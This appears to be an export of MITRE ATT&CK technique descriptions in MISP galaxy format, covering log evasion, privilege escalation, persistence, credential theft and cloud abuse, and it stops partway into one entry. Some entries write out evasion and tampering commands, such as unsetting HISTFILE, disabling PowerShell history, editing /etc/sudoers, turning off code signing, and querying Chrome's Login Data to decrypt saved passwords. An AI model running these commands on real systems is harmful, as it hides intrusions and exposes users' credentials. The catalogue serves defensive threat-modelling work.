
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)

Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"*

Table 8099. Table References

Links
https://attack.mitre.org/techniques/T1562/003
https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence
https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7

Disable or Modify Tools - T1629.003

Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003"*

Table 8100. Table References

Links
https://attack.mitre.org/techniques/T1629/003

Compromise Hardware Supply Chain - T1474.002

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1474.002"*

Table 8101. Table References

Links
https://attack.mitre.org/techniques/T1474/002
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html

Bypass User Account Control - T1548.002

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002"*

Table 8102. Table References

Links
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
https://attack.mitre.org/techniques/T1548/002
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

https://github.com/hfiref0x/UACME
https://msdn.microsoft.com/en-us/library/ms679687.aspx
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works

User Activity Based Checks - T1497.002

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002"*

Table 8103. Table References

Links
https://attack.mitre.org/techniques/T1497/002
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667

Cloud Instance Metadata API - T1552.005

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata

including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005"*

Table 8104. Table References

Links
https://attack.mitre.org/techniques/T1552/005
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Exfiltration to Cloud Storage - T1567.002

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"*

Table 8105. Table References

Links
https://attack.mitre.org/techniques/T1567/002

Compromise Software Supply Chain - T1474.003

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified

version.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003"*

Table 8106. Table References

Links
https://attack.mitre.org/techniques/T1474/003
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html

Sudo and Sudo Caching - T1548.003

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user’s password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"*

Table 8107. Table References

Links
https://attack.mitre.org/techniques/T1548/003
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
https://www.sudo.ws/

Credentials from Web Browsers - T1555.003

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim's cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"*

Table 8108. Table References

Links
https://attack.mitre.org/techniques/T1555/003
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://github.com/putterpanda/mimikittenz
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign

Code Signing Policy Modification - T1553.006

Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.

Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)

Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)

To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006"*

Table 8109. Table References

Links
https://attack.mitre.org/techniques/T1553/006
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://github.com/hfiref0x/TDL
https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html

Unix Shell Configuration Modification - T1546.004

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user's home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-

tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004"*

Table 8110. Table References

Links
https://attack.mitre.org/techniques/T1546/004
https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
https://objective-see.com/blog/blog_0x48.html
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
https://wiki.archlinux.org/index.php/Bash#Invocation
https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Elevated Execution with Prompt - T1548.004

Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a

reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

The tag is: *misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004"*

Table 8111. Table References

Links
https://attack.mitre.org/techniques/T1548/004
https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
https://objective-see.com/blog/blog_0x2A.html
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8

Application or System Exploitation - T1499.004

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004"*

Table 8112. Table References

Links

https://attack.mitre.org/techniques/T1499/004
https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html

Temporary Elevated Cloud Access - T1548.005

Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.

Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)

Account impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange)

Many cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access — for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)

While users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)

Note: this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking

place.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Temporary Elevated Cloud Access - T1548.005"*

Table 8113. Table References

Links
https://attack.mitre.org/techniques/T1548/005
https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project
https://cloud.google.com/iam/docs/service-account-permissions
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access
https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover

Kernel Modules and Extensions - T1547.006

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the

AuxKC.(Citation: System and kernel extensions in macOS)

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)

Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)

The tag is: *misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006"*

Table 8114. Table References

Links
https://attack.mitre.org/techniques/T1547/006
https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
https://developer.apple.com/support/kernel-extensions/
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
https://objective-see.org/blog/blog_0x21.html
https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web
https://tldp.org/HOWTO/Module-HOWTO/x197.html
https://tldp.org/LDP/lkmpg/2.4/html/x437.html
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.megasecurity.org/papers/Rootkits.pdf
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Cloud Secrets Management Stores - T1555.006

Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.

Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.

